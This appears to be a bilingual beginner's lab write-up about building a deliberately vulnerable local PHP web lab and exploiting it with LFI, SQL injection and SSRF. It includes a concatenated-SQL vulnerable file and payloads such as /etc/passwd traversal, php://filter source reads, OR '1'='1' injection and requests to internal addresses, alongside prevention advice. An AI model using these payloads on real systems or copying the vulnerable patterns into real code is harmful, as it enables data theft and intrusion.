Share
## https://sploitus.com/exploit?id=A2790147-4274-5BA1-B5EB-CB9BECC9F4C4
# đ”ïžââïž Labo Web VulnĂ©rable â Ătape 1 : LFI (Local File Inclusion)
Bienvenue dans mon petit laboratoire de cybersĂ©curitĂ© oĂč j'explore des failles classiques du web de maniĂšre pĂ©dagogique et accessible.
Vous trouvez mes labs en LFI, SQLi et SSRF.
đ [Lire en français](#-partie-1--en-français) | [Read in English](#-part-2--in-english)
---
## đ«đ· Partie 1 â En français
### đ Histoire d'une faille : LFI expliquĂ©e simplement
Bienvenue dans cette petite aventure oĂč je dĂ©couvre lâune des failles les plus sournoises du web : **LFI**, ou **Inclusion de Fichier Local**.
Imagine que tu es dans une maison. Tu as le droit dâouvrir certains **tiroirs** : ceux de ta chambre, par exemple. Mais un jour, tu dĂ©couvres que si tu modifies un petit paramĂštre dans lâURL du site⊠tu peux ouvrir **les tiroirs des autres piĂšces**, mĂȘme ceux contenant des informations privĂ©es đź.
Câest exactement ce que fait une faille **LFI** : elle permet de lire des fichiers sensibles du serveur, juste en modifiant une URL.
### đ§± Mise en place de mon laboratoire sous Kali Linux
#### â
1. Mise Ă jour du systĂšme
```bash
sudo apt update && sudo apt upgrade -y
```
#### â
2. Installation du serveur Apache2
```bash
sudo apt install apache2 -y
sudo systemctl start apache2
sudo systemctl enable apache2
```
Je teste : `http://localhost` â â
Apache fonctionne !
#### â
3. Installation de PHP
```bash
sudo apt install php libapache2-mod-php -y
```
#### â
4. Création de mon projet Web
```bash
cd /var/www/html
sudo mkdir web-lab
sudo chown -R $USER:$USER web-lab
cd web-lab
```
Création de `index.php` :
```php
```
Test dans le navigateur : `http://localhost/web-lab/` â â
OK !
### đŁ CrĂ©ation de la faille LFI
Fichier : `lfi.php`
```php
```
### đ§Ș Tests rĂ©alisĂ©s
**1. Inclusion dâun fichier local**
```bash
http://localhost/web-lab/lfi.php?page=test.txt
```
**2. Inclusion dâun fichier systĂšme**
```bash
http://localhost/web-lab/lfi.php?page=../../../../etc/passwd
```
**3. Lecture du code source (base64)**
```bash
http://localhost/web-lab/lfi.php?page=php://filter/convert.base64-encode/resource=lfi.php
```
### đš Risques identifiĂ©s
- Lecture de fichiers systĂšme sensibles
- Fuite de code source
- Exécution de code si combinée à un upload malveillant
### đĄïž PrĂ©vention
- Jamais inclure une valeur brute venant de lâutilisateur
- Utiliser une **liste blanche**
- Nettoyer avec `realpath()`, `basename()`, `filter_var()`
### â
Ce que jâai appris
Un simple `include($_GET['page'])` peut exposer tout un serveur.
---
## đŹđ§ Part 2 â In English
### đ LFI explained like a story
Welcome to a little web security adventure. Iâm exploring **LFI** (Local File Inclusion), a common and dangerous vulnerability.
Imagine youâre in a house. Youâre allowed to open **your drawers**. But one day, you discover a trick that lets you open **other people's drawers**⊠even the secret ones đ±
Thatâs what **LFI** does â it lets attackers read server files by abusing an insecure `include()`.
### đ§± Setting up my lab on Kali Linux
#### â
1. System update
```bash
sudo apt update && sudo apt upgrade -y
```
#### â
2. Apache2 installation
```bash
sudo apt install apache2 -y
sudo systemctl start apache2
sudo systemctl enable apache2
```
I checked: `http://localhost` â â
It works!
#### â
3. PHP installation
```bash
sudo apt install php libapache2-mod-php -y
```
#### â
4. Project creation
```bash
cd /var/www/html
sudo mkdir web-lab
sudo chown -R $USER:$USER web-lab
cd web-lab
```
File: `index.php`
```php
```
Tested at `http://localhost/web-lab/` â â
Success!
### đŁ LFI vulnerability file: `lfi.php`
```php
```
### đ§Ș Exploitation steps
**1. Including a local file**
```bash
http://localhost/web-lab/lfi.php?page=test.txt
```
**2. Including system file**
```bash
http://localhost/web-lab/lfi.php?page=../../../../etc/passwd
```
**3. Reading source code via base64**
```bash
http://localhost/web-lab/lfi.php?page=php://filter/convert.base64-encode/resource=lfi.php
```
### đš Risks
- Sensitive file disclosure
- Source code leakage
- Code execution if combined with upload
### đĄïž Protection
- Never include raw user input
- Use a whitelist
- Sanitize input with `realpath()`, `basename()`, `filter_var()`
### â
What Iâve learned
Just one `include($_GET['page'])` can expose the whole server.
# 𩞠Labo Web VulnĂ©rable â Ătape 2 : SQL Injection (SQLi)
đ [Lire en français](#-partie-1--en-français) | [Read in English](#-part-2--in-english)
---
## đ«đ· Partie 1 â En français
### đ Une faille invisible : l'injection SQL racontĂ©e simplement
Imagine un serveur de restaurant. Tu lui dis : "Je veux une soupe." Tout va bien. Mais maintenant, imagine que tu lui dis : "Je veux une soupe â et aussi ouvre le coffre-fort de la cuisine." Et il le fait đł
Câest exactement ce que permet une **injection SQL** : glisser des commandes malveillantes dans un champ innocent. Le serveur web envoie alors ces commandes Ă la base de donnĂ©es sans les filtrer.
---
## đ§± Mise en place du labo
#### â
1. Démarrer MariaDB
```bash
sudo systemctl start mariadb
sudo systemctl enable mariadb
```
#### â
2. Se connecter en root
```bash
sudo mysql
```
#### â
3. Créer la base + utilisateurs
```sql
CREATE DATABASE vuln_sql;
USE vuln_sql;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(100),
password VARCHAR(100)
);
INSERT INTO users (username, password) VALUES
('admin', 'adminpass'),
('jessica', 'mypassword'),
('guest', '12345');
```
#### â
4. Créer un utilisateur MySQL dédié
```sql
CREATE USER 'labuser'@'localhost' IDENTIFIED BY 'labpass';
GRANT ALL PRIVILEGES ON vuln_sql.* TO 'labuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```
---
## đ§Ș Fichier vulnĂ©rable : `sqli.php`
```php
connect_error) {
die("Connexion échouée : " . $conn->connect_error);
}
$id = $_GET['id'] ?? '';
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "đ€ Utilisateur : " . $row["username"] . "";
}
} else {
echo "Aucun utilisateur trouvé.";
}
?>
```
---
## đ§Ș Tests SQLi
### đ 1. Test classique
```
http://localhost/web-lab/sqli.php?id=1
```
â
RĂ©sultat : `đ€ Utilisateur : admin`
### đ„ 2. Injection
```
http://localhost/web-lab/sqli.php?id=1' OR '1'='1
```
â
RĂ©sultat : tous les utilisateurs sâaffichent
### đ§Ș 3. Exploration
```
?id=1' ORDER BY 3-- -
```
---
## đš Risques
- Fuite de données confidentielles
- Connexion sans mot de passe
- Modification ou suppression de données
- ContrĂŽle total de la base (RCE possible dans certains cas)
---
## đĄïž Contre-mesures
- Utiliser des requĂȘtes prĂ©parĂ©es (PDO / mysqli)
- Filtrer les entrées (`intval()`, `filter_input()`)
- Ne jamais faire confiance aux données GET/POST
---
## đŹđ§ Part 2 â In English
### đ SQLi explained simply
Imagine telling a waiter: "I want soup." That's fine. But what if you say: "I want soup â and open the kitchen's safe"? And he does. đł
This is **SQL Injection**: sneaking malicious commands into input fields that get passed to the database unchecked.
---
## đ§± Lab setup (Kali Linux + MariaDB)
### â
1. Start MariaDB
```bash
sudo systemctl start mariadb
sudo systemctl enable mariadb
```
### â
2. Connect to MySQL
```bash
sudo mysql
```
### â
3. Create DB and data
```sql
CREATE DATABASE vuln_sql;
USE vuln_sql;
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(100),
password VARCHAR(100)
);
INSERT INTO users (username, password) VALUES
('admin', 'adminpass'),
('jessica', 'mypassword'),
('guest', '12345');
```
### â
4. Create lab user
```sql
CREATE USER 'labuser'@'localhost' IDENTIFIED BY 'labpass';
GRANT ALL PRIVILEGES ON vuln_sql.* TO 'labuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
```
---
## đ§Ș Vulnerable file: `sqli.php`
```php
connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$id = $_GET['id'] ?? '';
$sql = "SELECT * FROM users WHERE id = '$id'";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "đ€ User: " . $row["username"] . "";
}
} else {
echo "No user found.";
}
?>
```
---
## đ§Ș Exploitation
### 1. Normal query
```
http://localhost/web-lab/sqli.php?id=1
```
â
Output: `đ€ User: admin`
### 2. SQLi attack
```
http://localhost/web-lab/sqli.php?id=1' OR '1'='1
```
â
Output: all users returned
### 3. Enumeration
```
?id=1' ORDER BY 3-- -
```
---
## đš Risks
- Dumping sensitive data
- Bypassing authentication
- Data tampering or deletion
- Full DB control (or even RCE)
---
## đĄïž Prevention
- Use prepared statements (PDO or mysqli)
- Sanitize inputs (`intval()`, `filter_input()`)
- Never trust GET/POST data
---
# đ Labo Web VulnĂ©rable â Ătape 3 : SSRF (Server-Side Request Forgery)
đ [Lire en français](#-partie-1--en-français) | [Read in English](#-part-2--in-english)
---
## đ«đ· Partie 1 â En français
### đ Une faille invisible : quand le serveur devient ton messager
Imagine que tu veux entrer dans un bĂątiment sĂ©curisĂ©. Impossible. Mais tu trouves un facteur (le serveur) Ă qui tu peux dire : "Va livrer ce message Ă lâintĂ©rieur." Et il le fait. Sans poser de questions.
Câest ça, une **SSRF** (Server-Side Request Forgery). Tu ne peux pas accĂ©der directement Ă certaines ressources, mais tu demandes **au serveur** dây aller **Ă ta place**.
---
## đ§ Pourquoi j'ai testĂ© en local (127.0.0.1)
Au dĂ©part, je voulais tester avec un site externe comme `http://example.com`, mais mon environnement (Kali Linux en VM) **nâavait pas accĂšs Ă Internet**. Le ping vers `example.com` Ă©chouait, et la rĂ©solution DNS ne fonctionnait pas dans le navigateur non plus.
Alors jâai optĂ© pour une **approche rĂ©aliste** : tester en local.
đ Et câest encore **plus intĂ©ressant**, car les vraies attaques SSRF ciblent souvent **les services internes** comme `127.0.0.1`, `localhost`, `admin panels`, `metadata servers`, etc.
---
## 𧱠Mise en place du fichier vulnérable `ssrf.php`
```php
$response";
} else {
echo "Aucune URL fournie.";
}
?>
```
Ce fichier **accepte nâimporte quelle URL** en paramĂštre, et demande au serveur dâaller la consulter. Câest lĂ que rĂ©side la faille.
---
## đ§Ș Tests rĂ©alisĂ©s
### â
1. RequĂȘte locale (test rĂ©ussi)
```
http://localhost/web-lab/ssrf.php?url=http://127.0.0.1/web-lab/sqli.php?id=1
```
đ„ RĂ©sultat : le serveur appelle **un autre script PHP interne** (`sqli.php`) et en affiche la rĂ©ponse.
---
## đ Erreur rencontrĂ©e (test externe Ă©chouĂ©)
```
http://localhost/web-lab/ssrf.php?url=http://example.com
```
â RĂ©sultat : erreur `getaddrinfo failed`, car `example.com` nâest pas rĂ©solu dans mon environnement.
---
## đš Risques liĂ©s Ă SSRF
- Lecture de données internes (non accessibles directement)
- Scan de ports internes (via des boucles)
- AccĂšs Ă des services dâadministration ou dâAPI internes
- AccĂšs aux metadata cloud (ex: AWS `169.254.169.254`)
---
## đĄïž Contre-mesures recommandĂ©es
- Bloquer les IP privées (127.0.0.1, 169.254..., etc.)
- Désactiver `file_get_contents()` pour les URLs (utiliser cURL avec validation)
- Filtrage strict des URLs autorisées (whitelist)
- DNS pinning pour éviter les contournements
---
## â
Ce que jâai appris
MĂȘme sans Internet, jâai pu tester une **SSRF locale**, et câest justement **le scĂ©nario le plus rĂ©aliste** dans un vrai contexte dâattaque.
---
## đŹđ§ Part 2 â In English
### đ The invisible attack: turning the server into your messenger
Imagine you're outside a building. You canât get in. But you find a mailman (the server) and say: âCan you deliver this message inside for me?â And he does.
Thatâs what **SSRF** is: Server-Side Request Forgery. You canât access something directly, but you trick the server into doing it **on your behalf**.
---
## đ§ Why I tested it locally (127.0.0.1)
I initially tried using `http://example.com`, but my Kali Linux VM didnât have Internet access. Pinging `example.com` failed, and PHP couldnât resolve the domain.
So I went for a **more realistic approach**: local SSRF.
đ In real attacks, SSRF is most useful when targeting **internal services** like `localhost`, internal panels, or metadata endpoints.
---
## đ§± Vulnerable file: `ssrf.php`
```php
$response";
} else {
echo "No URL specified.";
}
?>
```
This file accepts **any URL** and asks the server to fetch it. Thatâs the vulnerability.
---
## đ§Ș Tests performed
### â
1. Local SSRF test (success)
```
http://localhost/web-lab/ssrf.php?url=http://127.0.0.1/web-lab/sqli.php?id=1
```
đ„ Result: the server calls another internal script and displays the output.
---
## đ External request failed
```
http://localhost/web-lab/ssrf.php?url=http://example.com
```
â Result: `getaddrinfo failed`, because DNS resolution failed in my environment.
---
## đš Risks
- Internal data exposure
- Internal port scanning via SSRF loops
- Access to admin or service panels
- Metadata theft (e.g. AWS `169.254.169.254`)
---
## đĄïž Prevention
- Block internal IP ranges (127.*, 169.*, etc.)
- Donât use `file_get_contents()` with URLs
- Use cURL with strict filtering or a whitelist
- Protect DNS resolution from manipulation
---
## â
What I learned
Even without Internet, I was able to test a **realistic SSRF** scenario â the most relevant one from a security perspective.
---